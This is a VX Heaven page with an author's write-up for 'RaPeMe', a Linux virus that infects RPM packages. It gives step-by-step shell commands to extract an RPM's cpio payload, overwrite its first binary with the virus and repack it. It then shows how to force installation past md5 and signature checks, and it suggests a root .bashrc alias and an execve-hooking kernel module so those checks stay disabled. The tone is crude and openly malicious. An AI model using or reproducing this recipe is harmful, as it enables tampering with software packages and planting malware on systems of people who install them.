Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Source code of computer viruses

RaPeMe - Virus for Linux by sbudella

Virus for Linux

sbudella
Show all viruses by this author

2006-05-22

Comments
Download rapeme.zip (27029 bytes) or browse online

Author's documentation

Intro

This document describes the internals of the RaPeMe virus, in detail it shows its simple infection method. This document will not cover any ELF infection related info, because it is well documented elsewhere[1].

Overview

Everybody knows that Unix virii don't have a huge spread because of security mechanisms natively implemented in this os. ELF binaries are all stored in directories which prevent any incoming parasite from infecting them, due to write permissions. Picture the most common scenario: the lame virus/worm comes as an email attachment asking the user to be run; almost every unix/linux user is not so fuckin stupid to execute it and will delete it. But if the user is a moron however, the parasite will search for ELF bins in the user directories, failing in returning any one because it is not common to have bins in user dirs on Unix systems. Thus the virus has to hope to be executed one day by root, but this is a difficult task to accomplish, too many hide tricks to think of. We can consider the possibility of a parasite executed by a remote exploit, and this is the common case of serious internet worms spreading on unix machines. However a worm which has gained access to a server will not spend too much time searching for and infecting ELF binaries, but it will simply backdoor the system and search for other ones with that specific bug. A successfull but little implemented infection method is source infecting, because software in the linux world is often traded in such form; thus the virus will just search for source directories and add some call to itself in the main file, then hiding itself in that src dir. Shell script infection is also a smart method. But what about package archives? Linux users know that binary files are stored in archive form and many servers on the net provide package download services (sourceforge.net is the most popular). RPM archives is the software package system used by Red Hat Linux distribution, Fedora Core and the newbie oriented Mandrake/Mandriva (just to cite a few). I suggest another infection method to target this type of archive, adding one more chance to the virus writer to achieve his malicious goals on Linux systems...

RPM, or the way you can fuck your system cleanliness with package dependencies.

RPM packages are managed on the above cited systems by rusty muddler front ends to the so called rpm package manager. This utility is no more that a provider of the most common functions collected in librpm. It can be found also on many Linux distributions that don't use the rpm as native packaging system (on slackware you can find it in /bin/rpm). Have a look at man rpm for more infos, or read the rpm developer guide[2] for a quick description of those functions. RPM system developers will always suggest you to handle rpm files with those library functions, but this is not suitable for a virus. We will use raw file format access. A rpm file constists of some data structures, which are : the lead, the signature, the store, the header and finally the archive payload. Fortunately, in the infection method showed further below it is not necessary to understand all these bullshits because we are interested in the archive payload, that is the part of the file where all the software files are stored. But we must first identify our target. Simply type:

$ file host.rpm
host.rpm: RPM v3 bin i386 ncftp-3.0.3-3
$

As you can see, the file util reports some info from the host.rpm file. We can do the same simply reading the first 96 bytes from host.rpm. In fact those general infos about the rpm file are stored in the structure called the lead. Look at the following C source for a better understanding.

example #1


#include <stdio.h>

/* this is the lead structure as
   defined in the rpm file format */

struct rpmlead {
        unsigned char magic[4];
        unsigned char major, minor;
        short type;
        short archnum;
        char name[66];
        short osnum;
        short signature_type;
        char reserved[16];
};

main()
{
        FILE *inp = fopen("host.rpm","r");
        struct rpmlead lead;
        int i;

        fread(&lead,sizeof(struct rpmlead),1,inp);

        printf("0x");

        for(i = 0;i < 4;i++)
                printf("%x",lead.magic[i]);

        printf("\n%x.%x %x %s\n",lead.major,lead.minor,
                lead.type,lead.name);

        fclose(inp);

        return 0;

}
 
$ gcc -o lead lead.c
$ ./lead
$ 0xedabeedb 3.0 0 ncftp-3.0.3-3mdk
$

The program prints exactly the same informations but in a raw dress. As you can see 0xedabeedb is the magic number which identifies a rpm file and it is stored in the first four bytes of the structure. The following two bytes are named major and minor and are reserved for the rpm version. The important one is the struct member called type : this two bytes long information identifies the type af the archive; in fact we can have two common rpm types : binary and source archive. If type is equal to 0x00 we have a binary rpm; 0x01 is for source archive. In our case we have in fact a binary one. The array name reserves 66 bytes for the rpm name. We can leave out the other members. So now we have some useful hints on how to identify a target for our virus : we must read at least its first 8 bytes to check the magic number and the archive type. Nothing else is needed.

RPM pregnancy over : defecating the archive payload.

As said above, we are interested in the archive part of the rpm. First thing first, good news : files are stored using gzip! Fuckin yeah! So we can extract the payload after having located the gzip magic in the rpm; it is 0x1f8b08, thus fire up biew an search for it. But we don't have to use biew; someone made things easier for us : use rpmoffset[3] as showed below.

$ rpmoffset < host.rpm
5795
$

Guessing what the fuck is that? That's the offset where the gzip archive starts. We can now extract it using a bit of shell work.

$ dd if=host.rpm of=host.cpio.gz ibs=1 skip=`rpmoffset < host.rpm`
457369+0 records in
893+1 records out
$

rpmoffset is a little program which reports the offset for us, so we can use it in our infector. gunzip the archive and lets investigate its nature.

$ gunzip host.cpio.gz 
$ file host.cpio
host.cpio: ASCII cpio archive (SVR4 with no CRC)
$

What is a cpio archive? Well, it's an archive type just like tar, and it's very simple to reverse, however if you google for it you will get a lot of docs about its file format. Briefly, every cpio archive has a header for each file stored in it; the header keeps general informations about the file such as inode number, file mode, uid,gid and filesize (all these infos are compatible with those returned by stat(2), all zero padded on the left) proceded always by the magic number which is 070707. It's important to say that the stored files don't go under any compression in pure SVR4 cpio and in our case (no CRC) there's no checksum. Every cpio archive ends with a header describing a void file followed by the string TRAILER!!! . Try opening host.cpio with vi : you should see files in plain binary form! That is to say that we can now implement every well known ELF binary infection method as we are operating on a ELF stored in our file system. In the other case, that in which we want to infect source rpm, we have just to search the main() function in the cpio and then we can insert a call to the virus, appended to the archive, or we can just copy its source completely like a quine would do. Ok...so now we have the payload, but what is the infection plan?

RPM brutal disfigurement

Our plan : locate the first file in the cpio and overwrite it with the virus. What the fuck, this will totally destroy the old one, but who the fuck cares! This is not an ELF infection tutorial, i show you RPM infection, not other ones, but remember : since in the cpio archive you can find files in plain binary form it will be trivial to infect them with any method you want and prevent them from destruction and, most important thing, avoiding stupid users detection. Remember : the more stealth it is, more survival chances it will have. Lets have a look at the host's cpio header, we can count 110 byte before file name string begins.

$ head -c 110 host.cpio 
070701001f332f000081ed0000000000000000000000013b8e12320003311c
000000080000001100000000000000000000001000000000
$

0x3311c is the file size and the last significant number (0x10) is the file name size. Remember all these infos refer to the first file in the archive, in our case /usr/bin/ncftp . So if we follow the infamous infection method showed above we must substitute the size tag with our file size. If you decided to implement any ELF infection method you have just to increase the size tag by the virus size. (Remember to zero pad every header field, look at the code for more info...). Now lets assume our virus is a dummy hello world program whose size is 0x2958. Rename it with a 0x10 - 1 long name. Now we create quickly our cpio archive (man cpio(1)), without using stat system call:

$ echo azxcvbnmlkjhgfd | cpio -O virus.cpio -H newc -o 
$

Open it with vi and edit the file name to resemble the original cpio first file name; then remove the TRAILER header. Open the original cpio and remove the first file related header and the first file itself (exactly remove first file size + header size + first file name length bytes). Then:

$ cat virus.cpio host.cpio > new.cpio
$ gzip new.cpio

We now have an infected cpio archive resembling the original one, but infected by the malicious hello world program that have just substituted /usr/bin/ncftp. When removing the first file remember to get its size and file name length. Then recompose the rpm:

$ dd if=host.rpm of=host.head ibs=1 count=`rpmoffset < host.rpm`
5795+0 records in
11+1 records out
$ cat host.head new.cpio.gz > new.rpm
$ cp host.rpm /tmp
$ mv new.rpm host.rpm
# rpm -i host.rpm --force --nodeps --nosignature --nomd5 --nodigest 
$ ncftp
Hello, Fucking World!
$

Stripped, raped and strangled

Our C coded virus must automatize all the malicious tasks accomplished above, but we have a little problem now. Look at the last three options given to rpm(8) above : they are fuckin necessary because of security mechanisms implemented in the format such as a md5 sum, gpg and many others such as a file size check. So fuck, we have a huge problem left here. If a single security check fails, no rpm archive file will be installed. However it is possible to proceed forcing the package manager with the options showed above. All those checks are placed in the store, that is a structure which holds informations pointed by the header and by the signature area. I make myself understood : just after the lead we can find the signature area which is a header-like structure usually made of 3 index entries. Every signature index entry refers to a security check used in the rpm file. Lets analyze our host.rpm for clearness : we said that the lead is 0x60 bytes long, thus our signature area starts from this offset. Fire up biew :

00000060: 8E AD E8 01 00 00 00 00 00 00 00 03 00 00 00 55

Every header-like structure's magic number is always 0x8eade8, and as we can see ours is just as indicated. The next byte represents the header structure version; the next zeroed four bytes are reserved. The other four bytes are the index entry number of the signature. 0x00000055 is for the number of bytes reserved in the store for the signature. In fact, every entry, that is 16 bytes long, points to an offset in the store section, which holds those pointed data.

00000080: 00 00 03 EC 00 00 00 07 00 00 00 04 00 00 00 10

This is the second signature area entry located using a little calculation : 0x60(signature offset) + 0x10(entry size) * 2. The first four bytes (0x000003ec = 1004) represent the tag used to describe the implemented signature type which protects the rpm. Lets have a look at /usr/include/rpm/rpmlib.h : it says that 1004 is for the RPMSIGTAG_MD5 tag, thus our second signature check is a boring md5 sum. 0x00000007 is a tag which indicates the pointed data type (in this case, it's the binary one). The next four bytes (0x00000004) tell us that the md5 checksum starts 0x4 bytes just after the store starting offset, which can be found at 0xa0 (0x3 * 0x10 + 0x70(the second entry offset)). 0x10 is the checksum data size. So we can find this fucking md5 sum at 0xa0 + 0x4 = 0xa4. If we apply this procedure to the third signature entry we find out a 0x3ed = 1005 = RPMSIGTAG_GPG tag... Fuck. My tired brain is telling me that maybe a try to fuck rpm --checksig (i.e. the signature check) would be recalculating the md5 sum and replacing the old one with it. In fact the rpm file format says that the sum is calculated applying the md5 algorithm on the package file header and on the archive payload. So, a virus with strong will could calculate the sum of the infected rpm file parts and do the dirty job. But this feature is not implemented yet in the RaPeMe virus, because I have no time to work it out. However, personally I think that the signature problem can be avoided using an exploit that gives us root privileges; then we can install a banal alias in the root's .bashrc (if he uses bash):

alias rpm="rpm --force --nodeps --nosignature --nomd5 --nodigest"

Or we can install a powerful and infamous lkm which hooks the sys_execve system call and checks the envp arguments given to rpm(8). If you are thinking that resigning the rpm using:

$ rpm --resign host.rpm
host.rpm:
$

is a good solution... you are fucking wrong!

Final words

As you can see, despite the infection method is very fuckin lame (but works, hey), it is not so simple to infect entirely the system and smart users would always md5sum-check their files, and use rpm --checksig to avoid boring infection attempts. The good way seems to be using a bug exploit to root the machine so we can do whatever we want, instead of trying to persuade the user to install infected rpms with flatteries used in the classic windows style trojan. Anyway take a look at the virus source code. It's a proof of concept and it is just waiting to be improved with other malicious feature... It is important to note that the virus size is too fucking big, so i suggest to port the code to sys call only instructions and then asm dress it, avoiding libc calls... furthermore, due to my coding skill lameness, the virus will run very slow trying to infect veeery big rpm archives. (I know getc/putc is the cause of the problem, but it is a trick that i cannot avoid...). The virus itself has been tested on Slackware 10 and on Mandrake 8.1, you can compile it using:

$ gcc -o rapeme main.c hunt.c infect.c && cat LICENSE
$

Use it only after having cast a magick circle spell, evoking elemental spirits to partecipate in. Remember that if you damage any system with this stuff you will face the Law of Three, or you will burn in hell for the rest of your boring life...this is fuckin computer black magick... ;-)

Greetings

Giammy and family, my ex death metal band buddies (Cryptestesia fuckin rocks!), my friends from dietroleposte, trinity_np, boletus+xen, mat delirium, and my dwarf rabbit frodo.

References

  1. http://www.big.net.au/~silvio
  2. http://www.rpm.org/max-rpm/index.html
  3. http://darkstar.ist.utl.pt/slackware/slackware-8.1/patches/source/bin/rpmoffset.c

By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxer.org aka vx.netlux.org